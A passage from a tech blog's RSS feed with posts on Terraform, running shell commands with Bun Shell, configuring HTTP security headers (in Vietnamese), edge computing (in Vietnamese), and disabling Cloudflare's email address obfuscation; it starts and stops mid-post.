&lt;li&gt;&lt;strong&gt;Execution Plans:&lt;/strong&gt; Before making any modifications, Terraform generates a &quot;plan.&quot; This step acts as a safety preview, showing you precisely what resources will be created, updated, or destroyed when you hit apply. No more nasty surprises!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Resource Graph:&lt;/strong&gt; Terraform builds a sophisticated dependency graph of all your managed resources. It automatically identifies independent resources and parallelizes their creation or modification, making deployments significantly faster.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Automation:&lt;/strong&gt; Complex, multi-tier infrastructure changesets can be rolled out across environments with minimal human intervention, dramatically lowering the risk of human error during late-night deployments.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;Under the Hood: Core vs. Providers&lt;/h2&gt;
&lt;p&gt;If you peek inside the &lt;a href=&quot;https://github.com/hashicorp/terraform&quot;&gt;Terraform GitHub repository&lt;/a&gt;, you&apos;ll notice it primarily houses &lt;strong&gt;Terraform Core&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Terraform Core&lt;/strong&gt; is written in Go and handles the command-line interface (CLI), the core graph engine, interpolation, and state management.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Providers&lt;/strong&gt; (such as AWS, Azure, Google Cloud, Kubernetes, GitHub, etc.) are decoupled plugins. Terraform automatically downloads these providers from the Terraform Registry as needed, allowing the core engine to interface seamlessly with thousands of different APIs and services.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Why Teams Rely on Terraform&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Collaboration and Version Control:&lt;/strong&gt; Because your infrastructure is defined as code, you can check it into Git, peer-review changes via pull requests, test branches in staging environments, and roll back bad updates just like application code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multi-Cloud Capabilities:&lt;/strong&gt; Terraform isn&apos;t locked into a single ecosystem. You can manage resources across multiple cloud providers simultaneously using a unified workflow and syntax.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Idempotency and State Management:&lt;/strong&gt; Terraform keeps track of your real-world infrastructure through a &lt;em&gt;state file&lt;/em&gt;. This ensures that running the same configuration multiple times results in the exact same stable state, applying changes only when a drift occurs.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Getting Started&lt;/h2&gt;
&lt;p&gt;If you want to dive in and start building infrastructure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check out the official &lt;a href=&quot;https://developer.hashicorp.com/terraform/docs&quot;&gt;Terraform Documentation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Explore the hands-on guides on &lt;a href=&quot;https://developer.hashicorp.com/terraform/tutorials&quot;&gt;HashiCorp&apos;s Learn Platform&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Inspect the source code, contribute, or track active development over at the &lt;a href=&quot;https://github.com/hashicorp/terraform&quot;&gt;HashiCorp Terraform GitHub Repository&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Have you adopted Infrastructure as Code in your workflow yet? Let us know how you&apos;re using Terraform in your projects in the comments below!&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hashicorp/terraform&quot;&gt;HashiCorp Terraform GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/docs&quot;&gt;Official Terraform Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/tutorials&quot;&gt;HashiCorp Developer Tutorials&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Run Shell Commands in JavaScript with Bun Shell</title><link>https://dopana-blog.pages.dev/blog/run-shell-commands-in-javascript-with-bun-shell</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/run-shell-commands-in-javascript-with-bun-shell</guid><description>Learn how to run cross-platform shell commands directly in JavaScript and TypeScript using built-in Bun Shell.</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bun Shell is a cross-platform, bash-like shell built directly into the Bun runtime. It enables developers to execute shell commands seamlessly within JavaScript and TypeScript without relying on external dependencies or third-party packages.&lt;/p&gt;
&lt;h2&gt;Getting Started with Bun Shell&lt;/h2&gt;
&lt;p&gt;To start using Bun Shell, import the &lt;code&gt;$&lt;/code&gt; function from the &lt;code&gt;bun&lt;/code&gt; package. The &lt;code&gt;$&lt;/code&gt; function is a tagged template literal that executes the given command and returns a promise resolving with the output.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { $ } from &quot;bun&quot;;

await $`echo Hello, world!`; // =&gt; &quot;Hello, world!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reading Command Output&lt;/h2&gt;
&lt;p&gt;You can extract the full standard output as a string by calling the &lt;code&gt;.text()&lt;/code&gt; method:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { $ } from &quot;bun&quot;;

const output = await $`ls -l`.text();
console.log(output);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Iterating Over Lines with &lt;code&gt;lines()&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;To process command output line by line, use the &lt;code&gt;.lines()&lt;/code&gt; method combined with an asynchronous &lt;code&gt;for await...of&lt;/code&gt; loop:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { $ } from &quot;bun&quot;;

for await (const line of $`ls -l`.lines()) {
  console.log(line);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.com/docs/runtime/shell&quot;&gt;Bun Shell Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.com/docs/llms.txt&quot;&gt;Bun Documentation Index&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Web Security Headers — Bảo Vệ Website Từ HTTP Headers</title><link>https://dopana-blog.pages.dev/blog/security-headers</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/security-headers</guid><description>Các HTTP security headers quan trọng: CSP, HSTS, X-Frame-Options, Permissions-Policy — cấu hình và best practices.</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Security headers là lớp bảo vệ đầu tiên chống lại nhiều tấn công web phổ biến. Nhiều header chỉ là 1 dòng config — nhưng hiệu quả rất lớn.&lt;/p&gt;
&lt;h2&gt;Content Security Policy (CSP)&lt;/h2&gt;
&lt;p&gt;CSP kiểm soát resource nào được load trên trang — chống XSS và data injection mạnh nhất.&lt;/p&gt;
&lt;h3&gt;Cấu Trúc&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Content-Security-Policy: default-src &apos;self&apos;; script-src &apos;self&apos; https://analytics.example.com; style-src &apos;self&apos; &apos;unsafe-inline&apos;; img-src &apos;self&apos; data: https://images.example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Directives&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const csp = [
  // Default — fallback cho các directive khác
  &quot;default-src &apos;self&apos;&quot;,

  // Script — chỉ cho phép từ same origin
  &quot;script-src &apos;self&apos; &apos;wasm-unsafe-eval&apos;&quot;,

  // Style
  &quot;style-src &apos;self&apos; &apos;unsafe-inline&apos;&quot;,

  // Images
  &quot;img-src &apos;self&apos; data: https://*.cloudinary.com&quot;,

  // Font
  &quot;font-src &apos;self&apos; https://fonts.gstatic.com&quot;,

  // Connect (fetch, XHR, WebSocket)
  &quot;connect-src &apos;self&apos; https://api.example.com wss://ws.example.com&quot;,

  // Frame
  &quot;frame-src &apos;none&apos;&quot;,

  // Object (Flash, plugins)
  &quot;object-src &apos;none&apos;&quot;,

  // Form action
  &quot;form-action &apos;self&apos;&quot;,

  // Base URI
  &quot;base-uri &apos;self&apos;&quot;,

  // Report
  &quot;report-uri /csp-report&quot;,
].join(&apos;; &apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CSP Report Only&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Content-Security-Policy-Report-Only: default-src &apos;self&apos;; report-uri /csp-report
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chỉ report, không block — dùng để test CSP mới trước khi enforce.&lt;/p&gt;
&lt;h3&gt;Nounce &amp;#x26; Hash&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Nonce — random token mỗi request --&gt;
&amp;#x3C;script nonce=&quot;abc123&quot;&gt;
  inlineScript();
&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Content-Security-Policy: script-src &apos;nonce-abc123&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Hash — hash của inline script --&gt;
&amp;#x3C;script&gt;
  inlineScript();
&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Content-Security-Policy: script-src &apos;sha256-abc123...&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Strict Transport Security (HSTS)&lt;/h2&gt;
&lt;p&gt;Yêu cầu trình duyệt chỉ dùng HTTPS — không bao giờ dùng HTTP:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| Directive | Ý nghĩa |
|---|---|
| &lt;code&gt;max-age=31536000&lt;/code&gt; | 1 năm — nhớ chỉ dùng HTTPS |
| &lt;code&gt;includeSubDomains&lt;/code&gt; | Áp dụng cho subdomain |
| &lt;code&gt;preload&lt;/code&gt; | Đưa vào HSTS preload list (Chrome, Firefox) |&lt;/p&gt;
&lt;h3&gt;Preload&lt;/h3&gt;
&lt;p&gt;Khi &lt;code&gt;preload&lt;/code&gt; được set và domain được submit vào &lt;a href=&quot;https://hstspreload.org&quot;&gt;hstspreload.org&lt;/a&gt; — browser built-in list, không bao giờ cho phép HTTP ngay cả lần đầu.&lt;/p&gt;
&lt;h2&gt;X-Frame-Options&lt;/h2&gt;
&lt;p&gt;Chống clickjacking — không cho trang web bị iframe:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;X-Frame-Options: DENY
# hoặc
X-Frame-Options: SAMEORIGIN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CSP tương đương: &lt;code&gt;frame-ancestors &apos;self&apos;&lt;/code&gt; (CSP mạnh hơn, nên dùng CSP thay vì X-Frame-Options).&lt;/p&gt;
&lt;h2&gt;X-Content-Type-Options&lt;/h2&gt;
&lt;p&gt;Chống MIME type sniffing — browser không tự đoán content type:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;X-Content-Type-Options: nosniff
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nếu không có header này, browser có thể đọc file &lt;code&gt;.txt&lt;/code&gt; như HTML và chạy script.&lt;/p&gt;
&lt;h2&gt;Referrer-Policy&lt;/h2&gt;
&lt;p&gt;Kiểm soát thông tin referrer gửi đi:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Referrer-Policy: strict-origin-when-cross-origin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| Policy | Mô tả |
|---|---|
| &lt;code&gt;no-referrer&lt;/code&gt; | Không gửi referrer |
| &lt;code&gt;same-origin&lt;/code&gt; | Chỉ gửi khi cùng origin |
| &lt;code&gt;strict-origin-when-cross-origin&lt;/code&gt; | (Mặc định) Gửi full URL cho same-origin, chỉ origin cho cross-origin, không gửi khi HTTPS→HTTP |
| &lt;code&gt;no-referrer-when-downgrade&lt;/code&gt; | Gửi full URL, trừ khi HTTPS→HTTP |&lt;/p&gt;
&lt;h2&gt;Permissions-Policy (Feature Policy)&lt;/h2&gt;
&lt;p&gt;Kiểm soát API browser được phép dùng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Permissions-Policy: camera=(), microphone=(), geolocation=(self &quot;https://maps.example.com&quot;), payment=()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;# Chặn tất cả
Permissions-Policy: camera=(), microphone=(), geolocation=()

# Cho phép một số origin
Permissions-Policy: geolocation=(self &quot;https://maps.example.com&quot;), usb=()

# Cho phép tất cả (không khuyến nghị)
Permissions-Policy: camera=*
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cross-Origin-Read-Block (CORB) &amp;#x26; COOP/COEP&lt;/h2&gt;
&lt;h3&gt;Cross-Origin-Opener-Policy (COOP)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Cross-Origin-Opener-Policy: same-origin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Isolate trang khỏi cross-origin — chống Spectre attack.&lt;/p&gt;
&lt;h3&gt;Cross-Origin-Embedder-Policy (COEP)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Cross-Origin-Embedder-Policy: require-cors
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yêu cầu cross-origin resource phải có CORS header — cho phép dùng SharedArrayBuffer.&lt;/p&gt;
&lt;h3&gt;Cross-Origin-Resource-Policy (CORP)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Cross-Origin-Resource-Policy: same-origin
# hoặc same-site, cross-origin
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cache Headers&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;# Static assets — cache dài
Cache-Control: public, max-age=31536000, immutable

# HTML — không cache
Cache-Control: no-cache, no-store, must-revalidate

# API response — cache có thời hạn
Cache-Control: private, max-age=300
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Implementation — Express&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import helmet from &apos;helmet&apos;;

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: [&quot;&apos;self&apos;&quot;],
      scriptSrc: [&quot;&apos;self&apos;&quot;, &quot;&apos;wasm-unsafe-eval&apos;&quot;],
      styleSrc: [&quot;&apos;self&apos;&quot;, &quot;&apos;unsafe-inline&apos;&quot;],
      imgSrc: [&quot;&apos;self&apos;&quot;, &apos;data:&apos;, &apos;https://images.example.com&apos;],
      connectSrc: [&quot;&apos;self&apos;&quot;, &apos;https://api.example.com&apos;],
      fontSrc: [&quot;&apos;self&apos;&quot;, &apos;https://fonts.gstatic.com&apos;],
      objectSrc: [&quot;&apos;none&apos;&quot;],
      frameSrc: [&quot;&apos;none&apos;&quot;],
      formAction: [&quot;&apos;self&apos;&quot;],
    },
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  },
  referrerPolicy: { policy: &apos;strict-origin-when-cross-origin&apos; },
}));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Implementation — Cloudflare Workers&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const securityHeaders = {
  &apos;Strict-Transport-Security&apos;: &apos;max-age=31536000; includeSubDomains&apos;,
  &apos;X-Content-Type-Options&apos;: &apos;nosniff&apos;,
  &apos;X-Frame-Options&apos;: &apos;DENY&apos;,
  &apos;Referrer-Policy&apos;: &apos;strict-origin-when-cross-origin&apos;,
  &apos;Permissions-Policy&apos;: &apos;camera=(), microphone=(), geolocation=()&apos;,
  &apos;Content-Security-Policy&apos;: &quot;default-src &apos;self&apos;; script-src &apos;self&apos;; style-src &apos;self&apos; &apos;unsafe-inline&apos;&quot;,
};

export default {
  async fetch(request: Request): Promise&amp;#x3C;Response&gt; {
    const response = await handleRequest(request);
    const newResponse = new Response(response.body, response);

    Object.entries(securityHeaders).forEach(([key, value]) =&gt; {
      newResponse.headers.set(key, value);
    });

    return newResponse;
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Check Security Headers&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Curl
curl -I https://example.com | grep -i security

# Online tools
# https://securityheaders.com
# https://csp-evaluator.withgoogle.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Content-Security-Policy (CSP) — chống XSS&lt;/li&gt;
&lt;li&gt;[ ] Strict-Transport-Security (HSTS) — HTTPS bắt buộc&lt;/li&gt;
&lt;li&gt;[ ] X-Content-Type-Options: nosniff&lt;/li&gt;
&lt;li&gt;[ ] X-Frame-Options: DENY hoặc CSP frame-ancestors&lt;/li&gt;
&lt;li&gt;[ ] Referrer-Policy: strict-origin-when-cross-origin&lt;/li&gt;
&lt;li&gt;[ ] Permissions-Policy: thu hẹp API access&lt;/li&gt;
&lt;li&gt;[ ] Cache-Control: phù hợp cho từng loại resource&lt;/li&gt;
&lt;li&gt;[ ] Set-Cookie: có HttpOnly, Secure, SameSite&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Security headers là low-effort, high-impact. Mất 10 phút để config — bảo vệ chống XSS, clickjacking, MIME sniffing, và nhiều tấn công khác. Dùng Helmet (Node.js) hoặc tự set headers trong Workers/nginx. Kiểm tra với securityheaders.com.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;Content Security Policy — MDN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://csp-evaluator.withgoogle.com/&quot;&gt;CSP Evaluator — Google&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hstspreload.org/&quot;&gt;HSTS Preload — Chrome&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy&quot;&gt;Permissions-Policy — MDN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://helmetjs.github.io/&quot;&gt;Helmet.js — Security Headers Middleware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://securityheaders.com/&quot;&gt;Security Headers — Online Scanner&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy&quot;&gt;Referrer-Policy — MDN&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Beyond the Cloud: Tại sao Edge Computing là Bước chuyển lớn</title><link>https://dopana-blog.pages.dev/blog/vuot-qua-cloud-tai-sao-edge-computing-la-buoc-dich-chuyen-lon-tiep-theo</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/vuot-qua-cloud-tai-sao-edge-computing-la-buoc-dich-chuyen-lon-tiep-theo</guid><description>Tại sao việc đẩy toàn bộ dữ liệu lên cloud đã không còn là giải pháp tối ưu? Tìm hiểu vai trò của Edge Computing và Edge AI trong hạ tầng hiện đại.</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trong suốt thập kỷ vừa qua, &quot;đám mây&quot; (the cloud) đã trở thành trung tâm của mọi cuộc thảo luận công nghệ. Mọi thiết bị phát sinh dữ liệu—từ bộ nhiệt ẩm thông minh, cảm biến trong dây chuyền sản xuất cho đến camera trên điện thoại—đều gửi liên tục các gói tin về trung tâm dữ liệu tập trung (data center) cách xa hàng ngàn cây số để phân tích và lưu trữ.&lt;/p&gt;
&lt;p&gt;Tuy nhiên, trước sự bùng nổ của hàng tỷ thiết bị IoT, hệ thống tự hành và ứng dụng AI yêu cầu phản hồi tức thì, mô hình đẩy toàn bộ dữ liệu thô lên mây đang lộ rõ những giới hạn. Đó là lúc &lt;strong&gt;Edge Computing&lt;/strong&gt; (Điện toán biên) bước vào để tái cấu trúc lại hạ tầng xử lý dữ liệu.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Edge Computing thực chất là gì?&lt;/h2&gt;
&lt;p&gt;Thay vì phụ thuộc hoàn toàn vào hạ tầng đám mây tập trung ở xa, điện toán biên di chuyển năng lượng tính toán &lt;strong&gt;về sát nguồn phát sinh dữ liệu nhất có thể&lt;/strong&gt;—ngay tại &quot;biên&quot; của mạng lưới.&lt;/p&gt;
&lt;p&gt;So sánh đơn giản: Điện toán đám mây giống như một trung tâm logistics tổng ở cấp vùng, còn điện toán biên giống như cửa hàng tiện lợi ngay góc phố. Khi bạn cần một chai nước tức thì, việc di chuyển đến trung tâm tổng ở tỉnh khác là vô cùng lãng phí thời gian và chi phí đi lại. Điện toán biên đặt các gateway, cụm vi xử lý và thiết bị lưu trữ ngay sát cảm biến hay camera để phản hồi ngay lập tức.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Những động lực thúc đẩy sự dịch chuyển sang Biên&lt;/h2&gt;
&lt;p&gt;Đã có nhiều rào cản kỹ thuật buộc các kiến trúc sư hệ thống phải dịch chuyển tính toán về sát thiết bị:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bài toán độ trễ cực thấp (Ultra-low Latency):&lt;/strong&gt; Xe tự lái, robot phẫu thuật hay hệ thống giao dịch thuật toán không thể chờ đợi vài trăm millisecond cho hành trình dữ liệu khứ hồi (round-trip) lên cloud. Edge computing giúp xử lý và ra quyết định ngay trong vài millisecond.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tối ưu hóa băng thông mạng (Bandwidth Optimization):&lt;/strong&gt; Việc truyền tải dữ liệu video 4K liên tục hoặc hàng triệu phép đo cảm biến mỗi giây lên mây gây quá tải băng thông đường truyền. Các nút edge đảm nhận vai trò lọc, nén và phân tích tại chỗ, chỉ gửi thông tin đã qua xử lý lên cloud.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tính sẵn sàng và khả năng hoạt động offline (Resilience):&lt;/strong&gt; Khi đường truyền internet gặp sự cố, các hệ thống thuần cloud sẽ lập tức ngưng trệ. Ngược lại, thiết bị edge vẫn có khả năng vận hành độc lập và duy trì các tác vụ quan trọng mà không cần kết nối mạng liên tục.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bảo mật và Tuân thủ dữ liệu (Data Privacy &amp;#x26; Sovereignty):&lt;/strong&gt; Xử lý dữ liệu ngay tại chỗ giúp hạn chế tối đa rủi ro lộ sỉ thông tin trên đường truyền, đồng thời đáp ứng các quy định khắt khe về lưu trữ dữ liệu nội địa.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Ứng dụng thực tế tiêu biểu&lt;/h2&gt;
&lt;p&gt;Điện toán biên đang âm thầm thay đổi cách vận hành của nhiều ngành công nghiệp:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Phương tiện tự lái (Autonomous Vehicles):&lt;/strong&gt; Camera và hệ thống Lidar trên xe tự lái tạo ra lượng dữ liệu khổng lồ mỗi giây. Mọi thao tác phanh gấp hay đánh lái tránh vật cản đều phải được xử lý ngay tại bộ vi xử lý trên xe.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nhà máy thông minh (Industrial IoT):&lt;/strong&gt; Cảm biến biên liên tục giám sát độ rung và nhiệt độ của máy móc. Khi xuất hiện dấu hiệu bất thường, hệ thống edge sẽ phát lệnh dừng máy tức thì để tránh hỏng hóc nặng, thay vì chờ phản hồi từ server đám mây.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thiết bị Y tế khẩn cấp:&lt;/strong&gt; Máy theo dõi nhịp tim và các thiết bị hỗ trợ sự sống phân tích dữ liệu sinh hiệu tại chỗ để đưa ra cảnh báo tức thì cho đội ngũ y bác sĩ.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chuỗi bán lẻ hiện đại:&lt;/strong&gt; Các cửa hàng không thu ngân sử dụng hệ thống camera biên để nhận diện mặt hàng trong giỏ hàng của khách theo thời gian thực mà không làm tắc nghẽn hạ tầng mạng.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;Edge Computing kết hợp Edge AI&lt;/h2&gt;
&lt;p&gt;Sự kết hợp giữa Điện toán biên và Trí tuệ nhân tạo—&lt;strong&gt;Edge AI&lt;/strong&gt;—đang tạo ra bước ngoặt lớn. Thay vì chỉ lưu trữ hoặc xử lý logic đơn giản, các thiết bị biên hiện nay đã có thể chạy trực tiếp các mô hình Machine Learning gọn nhẹ để nhận diện hình ảnh, phân tích giọng nói và đưa ra dự đoán phức tạp ngay tại chỗ.&lt;/p&gt;
&lt;h2&gt;Lời kết: Mối quan hệ tương hỗ giữa Edge và Cloud&lt;/h2&gt;
&lt;p&gt;Dịch chuyển sang điện toán biên không đồng nghĩa với việc điện toán đám mây bị thay thế. &lt;strong&gt;Cloud và Edge tồn tại song hành và bổ trợ lẫn nhau&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Edge&lt;/strong&gt; đảm nhận các tác vụ tính toán thời gian thực, phản hồi nhanh và xử lý dữ liệu địa phương.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud&lt;/strong&gt; đóng vai trò là trung tâm lưu trữ lâu dài, huấn luyện các mô hình AI lớn và phân tích dữ liệu chuyên sâu trên quy mô toàn cầu.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tương lai của hạ tầng công nghệ hiện đại không nằm hoàn toàn trên mây, mà trải dài từ Đám mây cho tới Biên của mạng lưới.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Edge Computing Architecture &amp;#x26; Standards - ISO/IEC TR 23188:2020&lt;/li&gt;
&lt;li&gt;Cloud-Edge Continuum in Modern Infrastructure Systems&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Why and How to Turn Off Cloudflare Email Address Obfuscation</title><link>https://dopana-blog.pages.dev/blog/why-and-how-to-turn-off-cloudflare-email-address-obfuscation</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/why-and-how-to-turn-off-cloudflare-email-address-obfuscation</guid><description>Understand why Cloudflare Email Address Obfuscation breaks JS apps and layouts, and how to disable it via dashboard.</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cloudflare is a powerful ally for website performance and security, offering tools that protect your content, speed up delivery, and guard against malicious scrapers. One of its built-in features is Email Address Obfuscation, designed to hide plain-text email addresses on your web pages from automated spam bots.&lt;/p&gt;
&lt;p&gt;While this sounds great in theory, it can sometimes cause unintended headaches.&lt;/p&gt;
&lt;h2&gt;Why Turn Off Email Obfuscation?&lt;/h2&gt;
&lt;p&gt;Although obfuscation protects emails from basic scrapers, it frequently creates technical hurdles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Breaks JavaScript Applications: If you are running modern frontend frameworks (like React, Vue, or Next.js) or dynamic scripts that parse or manipulate DOM elements, Cloudflare&apos;s automatic injection of its own obfuscation script can break your code or throw unexpected console errors.&lt;/li&gt;
&lt;li&gt;Interferes with Styling and Layout: The injected span tags and hidden text nodes can occasionally disrupt CSS selectors or layout alignment.&lt;/li&gt;
&lt;li&gt;Redundant with Modern Defenses: If you already use alternative methods to display contact details (such as contact forms, modern CAPTCHAs, or deliberate public exposure for customer support), the obfuscation feature becomes unnecessary.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that Wrangler cannot manage this setting because it operates at the zone/security level rather than the Workers code level. Instead, you can quickly disable it using the Cloudflare Dashboard.&lt;/p&gt;
&lt;h2&gt;How to Turn Off Email Address Obfuscation via the Dashboard&lt;/h2&gt;
&lt;p&gt;Disabling the feature takes less than a minute. Follow these steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the &lt;a href=&quot;https://dash.cloudflare.com&quot;&gt;Cloudflare Dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Select your target domain from the account overview.&lt;/li&gt;
&lt;li&gt;Navigate to Security &gt; Settings (on some dashboard layouts, this may be found under Scrape Shield).&lt;/li&gt;
&lt;li&gt;Locate Email Address Obfuscation in the list of settings.&lt;/li&gt;
&lt;li&gt;Toggle the switch to Off.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Changes generally take effect immediately across your site, freeing your HTML from automatic modifications and ensuring your frontend code runs smoothly.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
